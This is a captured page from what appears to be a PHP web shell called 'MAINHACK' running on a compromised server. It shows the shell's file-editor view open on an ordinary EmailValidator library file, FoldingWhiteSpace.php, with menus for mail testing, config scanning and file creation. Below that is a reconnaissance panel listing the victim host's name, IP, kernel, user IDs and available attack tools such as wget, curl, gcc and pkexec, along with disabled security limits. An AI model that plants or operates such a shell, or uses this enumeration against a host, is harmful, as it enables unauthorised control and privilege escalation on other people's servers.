[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FoldingWhiteSpace.php
<?php namespace Egulias\EmailValidator\Parser; use Egulias\EmailValidator\EmailLexer; use Egulias\EmailValidator\Warning\CFWSNearAt; use Egulias\EmailValidator\Result\InvalidEmail; use Egulias\EmailValidator\Warning\CFWSWithFWS; use Egulias\EmailValidator\Result\Reason\CRNoLF; use Egulias\EmailValidator\Result\Reason\AtextAfterCFWS; use Egulias\EmailValidator\Result\Reason\CRLFAtTheEnd; use Egulias\EmailValidator\Result\Reason\CRLFX2; use Egulias\EmailValidator\Result\Reason\ExpectingCTEXT; use Egulias\EmailValidator\Result\Result; use Egulias\EmailValidator\Result\ValidEmail; class FoldingWhiteSpace extends PartParser { public const FWS_TYPES = [ EmailLexer::S_SP, EmailLexer::S_HTAB, EmailLexer::S_CR, EmailLexer::S_LF, EmailLexer::CRLF ]; public function parse() : Result { if (!$this->isFWS()) { return new ValidEmail(); } $previous = $this->lexer->getPrevious(); $resultCRLF = $this->checkCRLFInFWS(); if ($resultCRLF->isInvalid()) { return $resultCRLF; } if ($this->lexer->token['type'] === EmailLexer::S_CR) { return new InvalidEmail(new CRNoLF(), $this->lexer->token['value']); } if ($this->lexer->isNextToken(EmailLexer::GENERIC) && $previous['type'] !== EmailLexer::S_AT) { return new InvalidEmail(new AtextAfterCFWS(), $this->lexer->token['value']); } if ($this->lexer->token['type'] === EmailLexer::S_LF || $this->lexer->token['type'] === EmailLexer::C_NUL) { return new InvalidEmail(new ExpectingCTEXT(), $this->lexer->token['value']); } if ($this->lexer->isNextToken(EmailLexer::S_AT) || $previous['type'] === EmailLexer::S_AT) { $this->warnings[CFWSNearAt::CODE] = new CFWSNearAt(); } else { $this->warnings[CFWSWithFWS::CODE] = new CFWSWithFWS(); } return new ValidEmail(); } protected function checkCRLFInFWS() : Result { if ($this->lexer->token['type'] !== EmailLexer::CRLF) { return new ValidEmail(); } if (!$this->lexer->isNextTokenAny(array(EmailLexer::S_SP, EmailLexer::S_HTAB))) { return new InvalidEmail(new CRLFX2(), $this->lexer->token['value']); } //this has no coverage. Condition is repeated from above one if (!$this->lexer->isNextTokenAny(array(EmailLexer::S_SP, EmailLexer::S_HTAB))) { return new InvalidEmail(new CRLFAtTheEnd(), $this->lexer->token['value']); } return new ValidEmail(); } protected function isFWS() : bool { if ($this->escaped()) { return false; } return in_array($this->lexer->token['type'], self::FWS_TYPES); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.4 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002